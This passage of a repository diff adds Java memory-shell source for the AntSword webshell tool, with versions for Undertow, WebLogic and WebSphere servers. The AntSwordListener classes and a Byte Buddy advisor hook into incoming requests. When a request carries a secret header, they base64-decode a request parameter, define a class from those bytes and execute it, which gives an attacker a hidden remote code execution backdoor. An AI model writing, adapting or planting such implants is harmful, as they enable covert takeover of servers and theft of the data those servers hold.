return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
Map<?, ?> map = (Map<?, ?>) getFieldValue(getFieldValue(request, "exchange"), "attachments");
Object[] keys = map.keySet().toArray();
for (Object key : keys) {
if (map.get(key).toString().contains("ServletRequestContext")) {
response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse");
break;
}
}
return response;
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordServletInitialHandlerAdvisor.java
+55
View File
@@ -0,0 +1,55 @@
package com.reajason.javaweb.memshell.undertow.antsword;
import net.bytebuddy.asm.Advice;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class AntSwordServletInitialHandlerAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.AllArguments Object[] args
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
Object servletRequestContext = null;
if (args.length == 2) {
servletRequestContext = args[1];
} else {
servletRequestContext = args[2];
}
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
byte[] data = null;
Class<?> base64;
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
Object instance = payload.newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/antsword/AntSwordListener.java
+99
View File
@@ -0,0 +1,99 @@
package com.reajason.javaweb.memshell.weblogic.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(request, "response");
}
return response;
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/websphere/antsword/AntSwordListener.java
+92
View File
@@ -0,0 +1,92 @@
package com.reajason.javaweb.memshell.websphere.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response");
}
}